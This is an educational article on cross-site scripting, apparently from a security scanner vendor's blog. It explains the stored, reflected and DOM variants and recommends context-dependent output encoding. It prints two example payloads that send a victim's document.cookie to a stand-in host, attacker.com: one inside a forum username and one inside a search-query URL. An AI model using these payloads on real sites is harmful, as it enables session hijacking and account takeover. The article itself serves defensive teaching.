What is the Cross-site Scripting (XSS) Vulnerability & How to Prevent it?

Category: Web Security Readings - Last Updated: Fri, 25 Nov 2016 - by Sven Morgenroth

Introduction

To understand the Cross-site Scripting vulnerability you have to first understand the basic concept of the Same Origin Policy (SOP), which forbids websites to retrieve content from pages with another origin. By forbidding access to cross-origin content random websites cannot not read or modify data from your Facebook page or PayPal account while logged in to them.

SOP is one of the most important security principles in every web browser. For example the page https://example.com/index.html can access content from https://example.com/about.html while https://attacker.com/index.html cannot access content from https://example.com/about.html.

The Cross-site Scripting (XSS) Vulnerability

Cross-site Scripting, also known as XSS, is a way of bypassing the SOP concept. Whenever HTML code is generated dynamically, and the user input is not sanitized and is reflected on the page an attacker could insert his own HTML code. The web browser will still show the user's code since it pertains to the website where it is injected.

In such case an attacker can easily insert javascript code which would run under the site's context. By doing so the attacker is able to access other pages on the same domain and can read data like CSRF-Tokens or the set cookies.

If the cookies, which typically contain session identifier information can be read by the javascript, the attacker can use them on his own browser and login to the web application as the victim. If that does not work the attacker can still read private information from the pages, such as read CSRF tokens and make requests on behalf of the user.

Different Types of Cross-Site Scripting Vulnerability

There are mainly three different types of Cross-site Scripting vulnerability; Stored, Reflected and DOM XSS. Below you can find a detailed technical explanation of each of them.

Stored Cross-site Scripting Vulnerability

Stored Cross-site scripting vulnerabilities happens when the payload is saved, for example in a database and then is executed when a user opens the page. Stored cross-site scripting is very dangerous for a number of reasons:

  • The payload is not visible for the browser's XSS filter
  • Users might accidentally trigger the payload if they visit the affected page, while a crafted url or specific form inputs would be required for exploiting reflected XSS.

Example of a Stored XSS

A stored XSS vulnerability can happen if the username of an online forum member is not properly sanitized when it is printed on the page. In such case an attacker can insert malicious code when registering a new user on the form. When the username is reflected on the forum page, it will look like this:

Username: user123<script>document.location='https://attacker.com/?cookie='+encodeURIComponent(document.cookie)</script>
Registered since: 2016

The above code is triggered every time a user visits this forum section, and it sends the users' cookies of the forum to the attacker, who is then able to use them to hijack their sessions. Stored XSS can be a very dangerous vulnerability since it can have the effect of a worm, especially when exploited on popular pages.

For example imagine a forum or social media website that has a public facing page that is vulnerable to a stored XSS vulnerability, such as the profile page of the user. If the attacker is able to place a malicious payload that adds itself to the profile page, each time someone opens it the payload will spread itself with an exponential growth.

Reflected Cross-site Scripting (XSS) Vulnerability

A reflected XSS vulnerability happens when the user input from a URL or POST data is reflected on the page without being stored. This means that an attacker has to send a crafted link or post form to the victim to insert the payload, and the victim should click the link. This kind of payload is also generally being caught by built in browser XSS filters, like in Chrome, Internet Explorer or Edge.

Example of a Reflected XSS

As an example we will use a search functionality on a news website, which works by appending the user's input, which is taken from the GET request, to the q parameter, as per the example below:

https://example.com/news?q=data+breach

In the search results the website reflects the content of the query that the user searched for, such as:

You searched for "data breach":

If the Search functionality is vulnerable to a reflected cross-site scripting vulnerability, the attacker can send the victim a link such as the below:

https://example.com/news?q=<script>document.location='https://attacker.com/log.php?c=' + encodeURIComponent(document.cookie)</script>

Once the victim clicks on the link, the website will display the following:

You searched for "<script>document.location='https://attacker.com/log.php?c=' + document.cookie</script>":

The HTML source code, which is reflecting the attacker's malicious code redirects the victim to a website that is controlled by the attacker, which can then record the user's current cookie for example.com as GET parameter.

DOM Based Cross-Site Scripting Vulnerability

The DOM Based XSS vulnerability happens in the DOM (Document Object Model) instead of part of the HTML. Read DOM Based Cross-site Scripting (XSS) vulnerability for a detailed explanation of DOM XSS.

Impacts of the Cross-site Scripting Vulnerability

The impact of an exploited XSS vulnerability varies a lot. It ranges from Session Hijacking to the disclosure of sensitive data, CSRF attacks and more. By exploiting a cross-site scripting vulnerability an attacker can impersonate the victim and take over the account. If the victim has administrative rights it might even lead to code execution on the server, depending on the application and the privileges of the account. Read about the apache.org jira incident for more information on how a XSS vulnerbility was used in a succesful attack which also led to code execution.

Preventing XSS Vulnerabilities

To prevent cross-site scripting vulnerabilities it is very important to apply a context dependent output encoding. In some cases it might be enough to encode the HTML special characters, such as opening and closing tags. In other cases a correctly applied URL encoding is necessary. Links should generally be disallowed if they don't begin with a whitelisted protocol such as http:// or https://, thus preventing the use of URI schemes such as javascript://.

Even though most modern web browsers have an inbuilt XSS filter they should not be seen as an alternative to sanitization. They cannot catch all kinds of cross-site scripting attacks and are not strict so not to lead to false positives, which would prevent some pages from loading correctly. A web browser's XSS filter should only be a "second line of defense" and the idea is to minimise the impact of existing vulnerabilities.

Developers should not use blacklists as there is a variety of bypasses for them. Another thing they should avoid using is the stripping of dangerous functions and characters as the browsers' XSS filters can't recognize the dangerous payloads when the output is tampered with allowing for possible bypasses. That being said, the only recommended prevention of XSS is encoding as mentioned above.


Netsparker

Dead accurate, fast & easy-to-use Web Application Security Scanner

DOWNLOAD DEMO TRY ONLINE SCAN